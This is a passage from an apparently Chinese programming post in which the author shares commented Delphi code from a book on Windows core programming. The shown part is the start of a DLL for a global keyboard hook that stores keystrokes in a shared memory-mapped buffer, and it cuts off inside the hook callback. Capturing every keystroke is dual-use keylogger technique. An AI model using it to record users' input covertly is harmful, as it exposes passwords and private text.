小读了一下《Delphi下深入Windows核心编程》感觉里面的东西写得还算可以,至少有学到东西 于是整理了一下书中的代码,并加上注注释发上来 首先是最重要的键盘钩子使用的DLL: unit UnitDll; interface uses Windows; const BUFFER_SIZE = 16 * 1024; // 文件映射到内存的大小 const HOOK_MEM_FILENAME = 'MEM_FILE'; // 映像文件名 const HOOK_MUTEX_NAME = 'MUTEX_NAME'; // 互斥名 type // 共享结构 TShared = record Keys: array[0..BUFFER_SIZE] of Char; KeyCount: Integer; end; // 共享结构指针 PShared = ^TShared; var MemFile, HookMutex: THandle; // 文件句柄和互斥句柄 hOldKeyHook: HHook; // 钩子变量 Shared: PShared; // 共享变量 implementation // 重要:键盘钩子回调 function KeyHookProc(iCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall; export; const KeyPressMask = $80000000; begin if iCode < 0 then Result := CallNextHookEx(hOldKeyHook, iCode, wParam, lParam) else begin if ((lParam and KeyPressMas